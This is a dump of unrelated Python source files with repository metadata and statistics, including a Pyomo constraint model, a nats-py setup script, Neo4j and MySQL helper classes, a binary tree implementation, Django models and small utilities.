m.x640*m.x597 <= 0) m.c222 = Constraint(expr=152*m.x641*m.b556 - 152*m.b556*m.x598 + m.x641*m.x598 <= 0) m.c223 = Constraint(expr=456*m.x642*m.b557 - 456*m.b557*m.x599 + m.x642*m.x599 <= 0) m.c224 = Constraint(expr=384*m.x643*m.b558 - 384*m.b558*m.x600 + m.x643*m.x600 <= 0) m.c225 = Constraint(expr=441*m.x644*m.b559 - 441*m.b559*m.x601 + m.x644*m.x601 <= 0) m.c226 = Constraint(expr=309*m.x645*m.b560 - 309*m.b560*m.x602 + m.x645*m.x602 <= 0) m.c227 = Constraint(expr=233*m.x646*m.b561 - 233*m.b561*m.x603 + m.x646*m.x603 <= 0) m.c228 = Constraint(expr=526*m.x647*m.b562 - 526*m.b562*m.x604 + m.x647*m.x604 <= 0) m.c229 = Constraint(expr=384*m.x648*m.b563 - 384*m.b563*m.x605 + m.x648*m.x605 <= 0) m.c230 = Constraint(expr=203*m.x649*m.b564 - 203*m.b564*m.x606 + m.x649*m.x606 <= 0) m.c231 = Constraint(expr=522*m.x650*m.b565 - 522*m.b565*m.x607 + m.x650*m.x607 <= 0) m.c232 = Constraint(expr=265*m.x651*m.b566 - 265*m.b566*m.x608 + m.x651*m.x608 <= 0) m.c233 = Constraint(expr=152*m.x652*m.b567 - 152*m.b567*m.x609 + m.x652*m.x609 <= 0) m.c234 = Constraint(expr=441*m.x653*m.b568 - 441*m.b568*m.x610 + m.x653*m.x610 <= 0) m.c235 = Constraint(expr=203*m.x654*m.b569 - 203*m.b569*m.x611 + m.x654*m.x611 <= 0) m.c236 = Constraint(expr=284*m.x655*m.b570 - 284*m.b570*m.x612 + m.x655*m.x612 <= 0) m.c237 = Constraint(expr=426*m.x656*m.b571 - 426*m.b571*m.x613 + m.x656*m.x613 <= 0) m.c238 = Constraint(expr=284*m.x657*m.b572 - 284*m.b572*m.x614 + m.x657*m.x614 <= 0) m.c239 = Constraint(expr=109*m.x658*m.b573 - 109*m.b573*m.x615 + m.x658*m.x615 <= 0) m.c240 = Constraint(expr=309*m.x659*m.b574 - 309*m.b574*m.x616 + m.x659*m.x616 <= 0) m.c241 = Constraint(expr=434*m.x660*m.b575 - 434*m.b575*m.x617 + m.x660*m.x617 <= 0) m.c242 = Constraint(expr=141*m.x661*m.b576 - 141*m.b576*m.x618 + m.x661*m.x618 <= 0) m.c243 = Constraint(expr=434*m.x662*m.b577 - 434*m.b577*m.x619 + m.x662*m.x619 <= 0) m.c244 = Constraint(expr=403*m.x663*m.b578 - 403*m.b578*m.x620 + m.x663*m.x620 <= 0) m.c245 = Constraint(expr=426*m.x664*m.b579 - 426*m.b579*m.x621 + m.x664*m.x621 <= 0) m.c246 = Constraint(expr=403*m.x665*m.b580 - 403*m.b580*m.x622 + m.x665*m.x622 <= 0) m.c247 = Constraint(expr=151*m.x666*m.b581 - 151*m.b581*m.x623 + m.x666*m.x623 <= 0) m.c248 = Constraint(expr=233*m.x667*m.b582 - 233*m.b582*m.x624 + m.x667*m.x624 <= 0) m.c249 = Constraint(expr=109*m.x668*m.b583 - 109*m.b583*m.x625 + m.x668*m.x625 <= 0) m.c250 = Constraint(expr=367*m.x669*m.b584 - 367*m.b584*m.x626 + m.x669*m.x626 <= 0) m.c251 = Constraint(expr=367*m.x670*m.b585 - 367*m.b585*m.x627 + m.x670*m.x627 <= 0) m.c252 = Constraint(expr=382*m.x671*m.b586 - 382*m.b586*m.x628 + m.x671*m.x628 <= 0) m.c253 = Constraint(expr=151*m.x672*m.b587 - 151*m.b587*m.x629 + m.x672*m.x629 <= 0) m.c254 = Constraint(expr=382*m.x673*m.b588 - 382*m.b588*m.x630 + m.x673*m.x630 <= 0) m.c255 = Constraint(expr= m.x589 + m.x590 + m.x591 + m.x592 + m.x593 + m.x594 + m.x595 + m.x596 + m.x597 + m.x598 + m.x599 + m.x600 + m.x601 + m.x602 + m.x603 + m.x604 + m.x605 + m.x606 + m.x607 + m.x608 + m.x609 + m.x610 + m.x611 + m.x612 + m.x613 + m.x614 + m.x615 + m.x616 + m.x617 + m.x618 + m.x619 + m.x620 + m.x621 + m.x622 + m.x623 + m.x624 + m.x625 + m.x626 + m.x627 + m.x628 + m.x629 + m.x630 <= 18536) m.c256 = Constraint(expr= m.x1 + m.x2 + m.x3 + m.x4 + m.x5 + m.x6 + m.x7 + m.x8 + m.x9 + m.x10 + m.x11 + m.x12 + m.x13 - 166*m.b547 <= 0) m.c257 = Constraint(expr= m.x14 + m.x15 + m.x16 + m.x17 + m.x18 + m.x19 + m.x20 + m.x21 + m.x22 + m.x23 + m.x24 + m.x25 + m.x26 - 463*m.b548 <= 0) m.c258 = Constraint(expr= m.x27 + m.x28 + m.x29 + m.x30 + m.x31 + m.x32 + m.x33 + m.x34 + m.x35 + m.x36 + m.x37 + m.x38 + m.x39 - 522*m.b549 <= 0) m.c259 = Constraint(expr= m.x40 + m.x41 + m.x42 + m.x43 + m.x44 + m.x45 + m.x46 + m.x47 + m.x48 + m.x49 + m.x50 + m.x51 + m.x52 - 141*m.b550 <= 0) m.c260 = Constraint(expr= m.x53 + m.x54 + m.x55 + m.x56 + m.x57 + m.x58 + m.x59 + m.x60 + m.x61 + m.x62 + m.x63 + m.x64 + m.x65 - 166*m.b551 <= 0) m.c261 = Constraint(expr= m.x66 + m.x67 + m.x68 + m.x69 + m.x70 + m.x71 + m.x72 + m.x73 + m.x74 + m.x75 + m.x76 + m.x77 + m.x78 - 265*m.b552 <= 0) m.c262 = Constraint(expr= m.x79 + m.x80 + m.x81 + m.x82 + m.x83 + m.x84 + m.x85 + m.x86 + m.x87 + m.x88 + m.x89 + m.x90 + m.x91 - 463*m.b553 <= 0) m.c263 = Constraint(expr= m.x92 + m.x93 + m.x94 + m.x95 + m.x96 + m.x97 + m.x98 + m.x99 + m.x100 + m.x101 + m.x102 + m.x103 + m.x104 - 456*m.b554 <= 0) m.c264 = Constraint(expr= m.x105 + m.x106 + m.x107 + m.x108 + m.x109 + m.x110 + m.x111 + m.x112 + m.x113 + m.x114 + m.x115 + m.x116 + m.x117 - 526*m.b555 <= 0) m.c265 = Constraint(expr= m.x118 + m.x119 + m.x120 + m.x121 + m.x122 + m.x123 + m.x124 + m.x125 + m.x126 + m.x127 + m.x128 + m.x129 + m.x130 - 152*m.b556 <= 0) m.c266 = Constraint(expr= m.x131 + m.x132 + m.x133 + m.x134 + m.x135 + m.x136 + m.x137 + m.x138 + m.x139 + m.x140 + m.x141 + m.x142 + m.x143 - 456*m.b557 <= 0) m.c267 = Constraint(expr= m.x144 + m.x145 + m.x146 + m.x147 + m.x148 + m.x149 + m.x150 + m.x151 + m.x152 + m.x153 + m.x154 + m.x155 + m.x156 - 384*m.b558 <= 0) m.c268 = Constraint(expr= m.x157 + m.x158 + m.x159 + m.x160 + m.x161 + m.x162 + m.x163 + m.x164 + m.x165 + m.x166 + m.x167 + m.x168 + m.x169 - 441*m.b559 <= 0) m.c269 = Constraint(expr= m.x170 + m.x171 + m.x172 + m.x173 + m.x174 + m.x175 + m.x176 + m.x177 + m.x178 + m.x179 + m.x180 + m.x181 + m.x182 - 309*m.b560 <= 0) m.c270 = Constraint(expr= m.x183 + m.x184 + m.x185 + m.x186 + m.x187 + m.x188 + m.x189 + m.x190 + m.x191 + m.x192 + m.x193 + m.x194 + m.x195 - 233*m.b561 <= 0) m.c271 = Constraint(expr= m.x196 + m.x197 + m.x198 + m.x199 + m.x200 + m.x201 + m.x202 + m.x203 + m.x204 + m.x205 + m.x206 + m.x207 + m.x208 - 526*m.b562 <= 0) m.c272 = Constraint(expr= m.x209 + m.x210 + m.x211 + m.x212 + m.x213 + m.x214 + m.x215 + m.x216 + m.x217 + m.x218 + m.x219 + m.x220 + m.x221 - 384*m.b563 <= 0) m.c273 = Constraint(expr= m.x222 + m.x223 + m.x224 + m.x225 + m.x226 + m.x227 + m.x228 + m.x229 + m.x230 + m.x231 + m.x232 + m.x233 + m.x234 - 203*m.b564 <= 0) m.c274 = Constraint(expr= m.x235 + m.x236 + m.x237 + m.x238 + m.x239 + m.x240 + m.x241 + m.x242 + m.x243 + m.x244 + m.x245 + m.x246 + m.x247 - 522*m.b565 <= 0) m.c275 = Constraint(expr= m.x248 + m.x249 + m.x250 + m.x251 + m.x252 + m.x253 + m.x254 + m.x255 + m.x256 + m.x257 + m.x258 + m.x259 + m.x260 - 265*m.b566 <= 0) m.c276 = Constraint(expr= m.x261 + m.x262 + m.x263 + m.x264 + m.x265 + m.x266 + m.x267 + m.x268 + m.x269 + m.x270 + m.x271 + m.x272 + m.x273 - 152*m.b567 <= 0) m.c277 = Constraint(expr= m.x274 + m.x275 + m.x276 + m.x277 + m.x278 + m.x279 + m.x280 + m.x281 + m.x282 + m.x283 + m.x284 + m.x285 + m.x286 - 441*m.b568 <= 0) m.c278 = Constraint(expr= m.x287 + m.x288 + m.x289 + m.x290 + m.x291 + m.x292 + m.x293 + m.x294 + m.x295 + m.x296 + m.x297 + m.x298 + m.x299 - 203*m.b569 <= 0) m.c279 = Constraint(expr= m.x300 + m.x301 + m.x302 + m.x303 + m.x304 + m.x305 + m.x306 + m.x307 + m.x308 + m.x309 + m.x310 + m.x311 + m.x312 - 284*m.b570 <= 0) m.c280 = Constraint(expr= m.x313 + m.x314 + m.x315 + m.x316 + m.x317 + m.x318 + m.x319 + m.x320 + m.x321 + m.x322 + m.x323 + m.x324 + m.x325 - 426*m.b571 <= 0) m.c281 = Constraint(expr= m.x326 + m.x327 + m.x328 + m.x329 + m.x330 + m.x331 + m.x332 + m.x333 + m.x334 + m.x335 + m.x336 + m.x337 + m.x338 - 284*m.b572 <= 0) m.c282 = Constraint(expr= m.x339 + m.x340 + m.x341 + m.x342 + m.x343 + m.x344 + m.x345 + m.x346 + m.x347 + m.x348 + m.x349 + m.x350 + m.x351 - 109*m.b573 <= 0) m.c283 = Constraint(expr= m.x352 + m.x353 + m.x354 + m.x355 + m.x356 + m.x357 + m.x358 + m.x359 + m.x360 + m.x361 + m.x362 + m.x363 + m.x364 - 309*m.b574 <= 0) m.c284 = Constraint(expr= m.x365 + m.x366 + m.x367 + m.x368 + m.x369 + m.x370 + m.x371 + m.x372 + m.x373 + m.x374 + m.x375 + m.x376 + m.x377 - 434*m.b575 <= 0) m.c285 = Constraint(expr= m.x378 + m.x379 + m.x380 + m.x381 + m.x382 + m.x383 + m.x384 + m.x385 + m.x386 + m.x387 + m.x388 + m.x389 + m.x390 - 141*m.b576 <= 0) m.c286 = Constraint(expr= m.x391 + m.x392 + m.x393 + m.x394 + m.x395 + m.x396 + m.x397 + m.x398 + m.x399 + m.x400 + m.x401 + m.x402 + m.x403 - 434*m.b577 <= 0) m.c287 = Constraint(expr= m.x404 + m.x405 + m.x406 + m.x407 + m.x408 + m.x409 + m.x410 + m.x411 + m.x412 + m.x413 + m.x414 + m.x415 + m.x416 - 403*m.b578 <= 0) m.c288 = Constraint(expr= m.x417 + m.x418 + m.x419 + m.x420 + m.x421 + m.x422 + m.x423 + m.x424 + m.x425 + m.x426 + m.x427 + m.x428 + m.x429 - 426*m.b579 <= 0) m.c289 = Constraint(expr= m.x430 + m.x431 + m.x432 + m.x433 + m.x434 + m.x435 + m.x436 + m.x437 + m.x438 + m.x439 + m.x440 + m.x441 + m.x442 - 403*m.b580 <= 0) m.c290 = Constraint(expr= m.x443 + m.x444 + m.x445 + m.x446 + m.x447 + m.x448 + m.x449 + m.x450 + m.x451 + m.x452 + m.x453 + m.x454 + m.x455 - 151*m.b581 <= 0) m.c291 = Constraint(expr= m.x456 + m.x457 + m.x458 + m.x459 + m.x460 + m.x461 + m.x462 + m.x463 + m.x464 + m.x465 + m.x466 + m.x467 + m.x468 - 233*m.b582 <= 0) m.c292 = Constraint(expr= m.x469 + m.x470 + m.x471 + m.x472 + m.x473 + m.x474 + m.x475 + m.x476 + m.x477 + m.x478 + m.x479 + m.x480 + m.x481 - 109*m.b583 <= 0) m.c293 = Constraint(expr= m.x482 + m.x483 + m.x484 + m.x485 + m.x486 + m.x487 + m.x488 + m.x489 + m.x490 + m.x491 + m.x492 + m.x493 + m.x494 - 367*m.b584 <= 0) m.c294 = Constraint(expr= m.x495 + m.x496 + m.x497 + m.x498 + m.x499 + m.x500 + m.x501 + m.x502 + m.x503 + m.x504 + m.x505 + m.x506 + m.x507 - 367*m.b585 <= 0) m.c295 = Constraint(expr= m.x508 + m.x509 + m.x510 + m.x511 + m.x512 + m.x513 + m.x514 + m.x515 + m.x516 + m.x517 + m.x518 + m.x519 + m.x520 - 382*m.b586 <= 0) m.c296 = Constraint(expr= m.x521 + m.x522 + m.x523 + m.x524 + m.x525 + m.x526 + m.x527 + m.x528 + m.x529 + m.x530 + m.x531 + m.x532 + m.x533 - 151*m.b587 <= 0) m.c297 = Constraint(expr= m.x534 + m.x535 + m.x536 + m.x537 + m.x538 + m.x539 + m.x540 + m.x541 + m.x542 + m.x543 + m.x544 + m.x545 + m.x546 - 382*m.b588 <= 0)

53.085288

120

0.629634

13,713

74,691

3.429447

0.081528

0.033895

0.171472

0.267925

0.678426

0.663605

0.663435

0.136514

0

0.20453

0.164732

74,691

1,406

121

53.123044

0.549281

0.009104

0

1

0

false

0

0.00092

0

0.00092

0

null

0

1

0

1

0

null

0

2

c7e1894d1594534627afedcd4ba2104fda1ac3a6

927

py

Python

setup.py

YiuRULE/nats.py

3a78ba4c385e2069daf5ff560aadc30968af1ccd

[ "Apache-2.0" ]

null

setup.py

YiuRULE/nats.py

3a78ba4c385e2069daf5ff560aadc30968af1ccd

[ "Apache-2.0" ]

null

setup.py

YiuRULE/nats.py

3a78ba4c385e2069daf5ff560aadc30968af1ccd

[ "Apache-2.0" ]

null

from setuptools import setup from nats.aio.client import __version__ EXTRAS = { 'nkeys': ['nkeys'], } setup( name='nats-py', version=__version__, description='NATS client for Python', long_description='Python client for NATS, a lightweight, high-performance cloud native messaging system', classifiers=[ 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Programming Language :: Python :: 3.10' ], url='https://github.com/nats-io/nats.py', author='Waldemar Quevedo', author_email='wally@synadia.com', license='Apache 2 License', packages=['nats', 'nats.aio', 'nats.protocol', 'nats.js'], zip_safe=True, extras_require=EXTRAS )

29.903226

109

0.636462

103

927

5.61165

0.543689

0.197232

0.259516

0.224913

0

0.015235

0.221143

927

30

110

30.9

0.785319

0

0.522114

0

1

0

false

0

0.074074

0

0.074074

0

null

0

1

0

null

0

2

c7ebfcaf02d689a33ed8274d051230038106dff7

1,011

py

Python

neo4j_helper.py

smartaec/OpenBridgeGraph

61ca64ed339af4e77d928f83934a308277a79d81

[ "MIT" ]

null

neo4j_helper.py

smartaec/OpenBridgeGraph

61ca64ed339af4e77d928f83934a308277a79d81

[ "MIT" ]

null

neo4j_helper.py

smartaec/OpenBridgeGraph

61ca64ed339af4e77d928f83934a308277a79d81

[ "MIT" ]

null

from neo4j.v1 import GraphDatabase #neo4j==1.7.0 uri="bolt://localhost:7687" driver=GraphDatabase.driver(uri, auth=("neo4j", "testneo4j")) def execute_queries(scripts,message=None): with driver.session() as session: tx=session.begin_transaction() res=tx.run(';'.join(scripts)) tx.commit() return res def execute_query(script,message=None): with driver.session() as session: return session.run(script,message) def execute_read(cypher_func,message): with driver.session() as session: return session.read_transaction(cypher_func,message) def execute_write(cypher_func,message): with driver.session() as session: return session.write_transaction(cypher_func,message) def run_query(tx,script): return tx.run(script) def print_query(tx,name): for record in tx.run("MATCH (a:Person)-[:KNOWS]->(f) WHERE a.name = {name} RETURN f.name",name=name): print(record["f.name"]) return "" #execute_read(print_query,'Alice')

29.735294

105

0.69634

139

1,011

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0.359712

0.058055

0.098694

0.110305

0.37881

0.288824

0.162554

0

0.014235

0.166172

1,011

34

106

29.735294

0.803084

0.04451

0

0.166667

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0.041667

0.111917

0.046632

0

1

0.25

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0

0.041667

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0.083333

0

null

0

null

0

1

0

1

0

2

4003c8b3ef448fd698e5fde8ffd4368a0004acc2

2,250

py

Python

app/config/cnMysql.py

itay-moav/rahl_commander

79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b

[ "MIT" ]

1

2016-12-19T16:09:02.000Z

app/config/cnMysql.py

itay-moav/rahl_commander

79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b

[ "MIT" ]

19

2015-01-08T18:34:13.000Z

2018-02-26T14:51:22.000Z

app/config/cnMysql.py

itay-moav/rahl_commander

79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b

[ "MIT" ]

null

''' Created on Dec 28, 2021 @author: Itay Abstracting the DB connection piece ''' import mysql.connector as My from app import logging as L from app import exceptions as exceptions class Connection(): ''' Abstracting the actions on a DB ''' def __init__(self, connection_config): self._debug_connection_info = "{}@{}".format(connection_config['username'],connection_config['host']) L.info("Trying to connect to {}".format(self._debug_connection_info)) self._connection = My.connect(user=connection_config['username'], password=connection_config['password'],host=connection_config['host'],buffered=True) def get_connection(self): return self._connection def change_db(self,new_db): connection = self.get_connection() if connection.database != new_db and new_db: try: connection.database = new_db except My.Error as err: if err.errno == My.errorcode.ER_BAD_DB_ERROR: return False else: msg = "Error occured while changing DB in mysql connection [{}]".format(err) L.fatal(msg) raise exceptions.SQLError(msg) return True def cursor(self): return self.get_connection().cursor() def commit(self): return self.get_connection().commit() def debug_connection(self): return "server: [{}] database: [{}]".format(self.debug_connection_info,self.get_connection().database) def execute(self,sql,query_params=()): L.debug("Running sql [{}]".format(sql)) cursor = self.cursor() cursor.execute(sql,query_params) return cursor def execute_fetchall(self,sql): cursor = self.execute(sql) return cursor.fetchall() def insert_rcom_sql_upgrades(self,db,file_values): sql = "INSERT IGNORE INTO {}.rcom_sql_upgrades VALUES {}".format(db,file_values) self.execute(sql) def mark_complete_rcom_sql_upgrades(self,db,file_name): sql = sql = "UPDATE {}.rcom_sql_upgrades SET execution_status='completed' WHERE file_name = %s LIMIT 1".format(db) self.execute(sql,(file_name,))

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false

0.023256

0.069767

0.093023

0.511628

0

null

0

null

0

1

0

1

0

2

401bf5f8c246403323fb3816b89f804ced1d9820

547

py

Python

2020-05-month-long-challenge/day22.py

jkbockstael/leetcode

8ef5c907fb153c37dc97f6524493ceca2044ea38

[ "Unlicense" ]

null

2020-05-month-long-challenge/day22.py

jkbockstael/leetcode

8ef5c907fb153c37dc97f6524493ceca2044ea38

[ "Unlicense" ]

null

2020-05-month-long-challenge/day22.py

jkbockstael/leetcode

8ef5c907fb153c37dc97f6524493ceca2044ea38

[ "Unlicense" ]

null

#!/usr/bin/env python3 # Day 22: Sort Characters By Frequency # # Given a string, sort it in decreasing order based on the frequency of # characters. import collections class Solution: def frequencySort(self, s: str) -> str: return "".join(map( lambda t: t[0] * t[1], collections.Counter(s).most_common(len(s)))) # Tests assert Solution().frequencySort("tree") in ["eert", "eetr"] assert Solution().frequencySort("cccaaa") in ["cccaaa", "aaaccc"] assert Solution().frequencySort("Aabb") in ["bbAa", "bbaA"]

27.35

71

0.659963

72

547

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0.225

0

0.011211

0.184644

547

19

72

28.789474

0.795964

0.26691

0

0.106329

0

0.333333

1

0.111111

false

0

0.111111

0.444444

0

null

0

1

0

null

0

1

0

2

4027f13cd3b7d7bc0f1afe366ba2f0949bed351e

805

py

Python

rotypes/Windows/Storage/Streams/__init__.py

Gliese129/ArknightsAutoHelper

43971a63da55001ebc55a7e0de56e9364dff04bb

[ "MIT" ]

18

2022-03-18T08:20:28.000Z

2022-03-31T15:19:15.000Z

rotypes/Windows/Storage/Streams/__init__.py

Gliese129/ArknightsAutoHelper

43971a63da55001ebc55a7e0de56e9364dff04bb

[ "MIT" ]

4

2021-01-23T13:05:39.000Z

2021-09-11T14:29:56.000Z

rotypes/Windows/Storage/Streams/__init__.py

Gliese129/ArknightsAutoHelper

43971a63da55001ebc55a7e0de56e9364dff04bb

[ "MIT" ]

1

2022-03-20T05:52:38.000Z

from ctypes import c_uint32, c_void_p, string_at from rotypes.idldsl import define_winrt_com_method, GUID from rotypes.inspectable import IInspectable, IUnknown @GUID('905a0fef-bc53-11df-8c49-001e4fc686da') class IBufferByteAccess(IUnknown): pass @GUID('905A0FE0-BC53-11DF-8C49-001E4FC686DA') class IBuffer(IInspectable): def __len__(self): return self.Length def __bytes__(self): byteaccess = self.astype(IBufferByteAccess) ptr = byteaccess.Buffer() return string_at(ptr, len(self)) define_winrt_com_method(IBufferByteAccess, 'Buffer', retval=c_void_p) define_winrt_com_method(IBuffer, 'get_Capacity', propget=c_uint32) define_winrt_com_method(IBuffer, 'get_Length', propget=c_uint32) define_winrt_com_method(IBuffer, 'put_Length', propput=c_uint32)

27.758621

69

0.773913

106

805

5.537736

0.424528

0.093697

0.11925

0.170358

0.294719

0.195911

0.139693

0

0.064194

0.129193

805

28

70

28.75

0.773181

0

0.136986

0.089664

0

1

0.111111

false

0.055556

0.166667

0.055556

0.5

0

null

0

1

0

null

0

1

0

2

403a8f16077fbf7702c11e3631833751b1f7fb2c

3,367

py

Python

data-structures/trees/trees/trees.py

bayan-alkhatib/data-structures-and-algorithms-401

c22e0adf159392a8925f07a36b3083654d3a7002

[ "MIT" ]

null

data-structures/trees/trees/trees.py

bayan-alkhatib/data-structures-and-algorithms-401

c22e0adf159392a8925f07a36b3083654d3a7002

[ "MIT" ]

11

2021-06-14T00:14:54.000Z

2021-06-30T00:08:30.000Z

data-structures/trees/trees/trees.py

bayan-alkhatib/data-structures-and-algorithms-401

c22e0adf159392a8925f07a36b3083654d3a7002

[ "MIT" ]

1

2021-07-26T11:08:29.000Z

class Node: def __init__(self,value): self.value=value self.left=None self.right=None class Binary_Tree: def __init__(self): self.root = None def pre_order(self): """ root-left-right """ try: self.values=[] if self.root == None: return "Tree is Empty" def tree(node): self.values+=[node.value] if node.left: tree(node.left) if node.right: tree(node.right) return self.values return tree(self.root) except: return "Error" def in_order(self): """ left-node-right""" try: self.values=[] if not self.root: return "Tree is Empty" def tree(node): if node.left: tree(node.left) self.values+=[node.value] if node.right: tree(node.right) return self.values return tree(self.root) except: return "Error" def post_order(self): """ left-right-node""" try: self.values=[] if not self.root: return "Tree is Empty" def tree(node): if node.left: tree(node.left) if node.right: tree(node.right) self.values+=[node.value] return self.values return tree(self.root) except: return "Error" def max(self): if not self.root: return "Tree is Empty" self.max=self.root.value def tree(node): if node.value>self.max: self.max=node.value if node.left: tree(node.left) if node.right: tree(node.right) return self.max return tree(self.root) class Binary_Search_Tree(Binary_Tree): def add(self,value): '''add value to binery tree ''' if self.root == None: self.root = Node(value) else: current=self.root while current: if value < current.value : if current.left == None: current.left = Node(value) break current = current.left else: if current.right == None: current.right = Node(value) break current = current.right def Contains(self,value): if self.root==None: return 'Tree is Empty' else: current=self.root while current: if current.value==value: return True elif value < current.value : if current.left == None: return False current = current.left else: if current.right == None: return False current = current.right

24.223022

51

0.415206

317

3,367

4.362776

0.119874

0.092552

0.043384

0.061461

0.68402

0.598698

0.57773

0.472885

0.348518

0

0.503119

3,367

138

52

24.398551

0.826659

0.021681

0

0.727273

0

0.02448

0

1

0.121212

false

0

0.343434

0

null

0

1

0

1

0

null

0

2

4050379eb6d6d6226db82e9fbcbba3933c358e43

718

py

Python

src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py

jvanasco/pyramid_debugtoolbar_api_sqla

286a7e4ee32e7dd64f31813c46d59e0651534cbd

[ "MIT" ]

null

src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py

jvanasco/pyramid_debugtoolbar_api_sqla

286a7e4ee32e7dd64f31813c46d59e0651534cbd

[ "MIT" ]

null

src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py

jvanasco/pyramid_debugtoolbar_api_sqla

286a7e4ee32e7dd64f31813c46d59e0651534cbd

[ "MIT" ]

null

# local from .panels import SqlalchemyCsvDebugPanel __VERSION__ = "0.3.1" # ============================================================================== def includeme(config): """ Pyramid hook to install this debugtoolbar plugin. Update your ENVIRONMENT.ini file debugtoolbar.includes = pyramid_debugtoolbar_api_sqlalchemy """ config.add_debugtoolbar_panel(SqlalchemyCsvDebugPanel) config.add_route( "debugtoolbar.api_sqlalchemy.queries.csv", "/api-sqlalchemy/sqlalchemy-{request_id}.csv", ) config.scan("pyramid_debugtoolbar_api_sqlalchemy.views") config.commit() # ==============================================================================

24.758621

80

0.558496

58

718

6.655172

0.637931

0.134715

0.194301

0.165803

0

0.004918

0.150418

718

28

81

25.642857

0.627869

0.435933

0

0.337731

0.324538

0

1

0.1

false

0

0.1

0

0.2

0

null

0

1

0

null

0

2

4066b6af1e7dfd680248198011c778dca827452b

828

py

Python

tests/__init__.py

ybelleguic/openbrokerapi

9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc

[ "MIT" ]

36

2017-10-06T15:16:21.000Z

2021-07-30T16:25:59.000Z

tests/__init__.py

ybelleguic/openbrokerapi

9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc

[ "MIT" ]

167

2017-09-28T23:38:33.000Z

2022-03-28T21:18:49.000Z

tests/__init__.py

ybelleguic/openbrokerapi

9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc

[ "MIT" ]

26

2017-09-29T13:46:38.000Z

2022-01-05T08:49:25.000Z

try: from gevent import monkey monkey.patch_all() except ImportError: # fine if no gevent is available pass import base64 import logging from unittest.mock import Mock from flask.app import Flask from flask_testing import TestCase from openbrokerapi.api import BrokerCredentials from openbrokerapi.log_util import basic_config class BrokerTestCase(TestCase): auth_header = 'Basic ' + base64.b64encode(b":").decode("ascii") def create_app(self): from openbrokerapi.api import get_blueprint app = Flask(__name__) self.broker = Mock() app.register_blueprint( get_blueprint(self.broker, BrokerCredentials("", ""), basic_config(level=logging.WARN) ) ) return app

23.657143

67

0.641304

90

828

5.744444

0.544444

0.098646

0.077369

0.10058

0

0.010187

0.288647

828

34

68

24.352941

0.867572

0.036232

0

0.015075

0

1

0.04

false

0.04

0.4

0

0.56

0.12

0

null

0

null

0

1

0

1

0

2

406d45c5b1e3edd5a8eec1e610e28a22eb3881b2

2,190

py

Python

entrepreneurial_property/models/scientificpark.py

CzechInvest/ciis

c6102598f564a717472e5e31e7eb894bba2c8104

[ "MIT" ]

1

2019-05-26T22:24:01.000Z

entrepreneurial_property/models/scientificpark.py

CzechInvest/ciis

c6102598f564a717472e5e31e7eb894bba2c8104

[ "MIT" ]

6

2019-01-22T14:53:43.000Z

2020-09-22T16:20:28.000Z

entrepreneurial_property/models/scientificpark.py

CzechInvest/ciis

c6102598f564a717472e5e31e7eb894bba2c8104

[ "MIT" ]

null

from django.db import models from .media import Water from .media import Electricity from .media import Gas from .media import WasteWater from .media import Telecommunication from .generic import Attachment from .generic import Photo from .generic import Location as EstateLocation from cigeo.models import GenericNote as EstateNote class ScientificParkTelecommunication(Telecommunication): green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkWasteWater(WasteWater): diameter = capacity = None green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkAttachment(Attachment): green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkPhoto(Photo): green_field = models.ForeignKey( "ScientificPark", on_delete=models.CASCADE ) pass class ScientificParkTechnologicalWater(Water): distance = None diameter = None capacity = None well = None well_capacity = None green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkElectricity(Electricity): distance = None capacity = None current = None green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkDrinkWater(Water): distance = None diameter = None capacity = None well = None well_capacity = None green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkGas(Gas): diameter = pressure = capacity = None green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkLocation(EstateLocation): green_field = models.OneToOneField( "ScientificPark", on_delete=models.CASCADE ) class ScientificParkGenericNote(EstateNote): green_field = models.ForeignKey( "ScientificPark", on_delete=models.CASCADE )

20.660377

57

0.696347

202

2,190

7.440594

0.232673

0.066534

0.106454

0.186294

0.55356

0.472389

0

0.236073

2,190

105

58

20.857143

0.898386

0

0.552632

0

0.063927

0

1

0

false

0.013158

0.131579

0

0.631579

0

null

0

1

0

null

0

1

0

2

407d150b5548e5dc5c3decda923610fd51eb2141

1,438

py

Python

vk_bot/mods/util/calculator.py

triangle1984/GLaDOS

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

3

2019-12-12T05:48:34.000Z

2020-12-07T19:23:41.000Z

vk_bot/mods/util/calculator.py

anar66/vk-bot

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

1

2019-11-15T14:28:49.000Z

vk_bot/mods/util/calculator.py

triangle1984/vk-bot

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

5

2019-11-20T14:20:30.000Z

2022-02-05T10:37:01.000Z

# from vk_bot.core.modules.basicplug import BasicPlug # import math # class Calculator(BasicPlug): # doc = "Калькулятор" # command = ("калькулятор",) # def main(self): # try: # x = self.text[1]; x = int(x) # encalc = self.text[2]; encalc = encalc.lower() # y = self.text[3]; y = int(y) # except: # self.sendmsg("""Пример команды: /калькулятор 2 + 2 # Использовать можно только 2 числа, и только через пробел""") # return # if encalc == "+" or encalc == "сложение": # result = x + y # elif encalc == "-" or encalc == "вычитание": # result = x - y # elif encalc == "*" or encalc == "умножение": # result = x * y # elif encalc == "**" or encalc == "степень" or encalc == "^": # if x > 999 or y > 999: # return # result = x ** y # elif encalc == "": # try: # x / y # except ZeroDivisionError: # result = "взорвать планету хочешь?" # elif encalc == "корень": # result = math.sqrt(x), math.sqrt(y) # 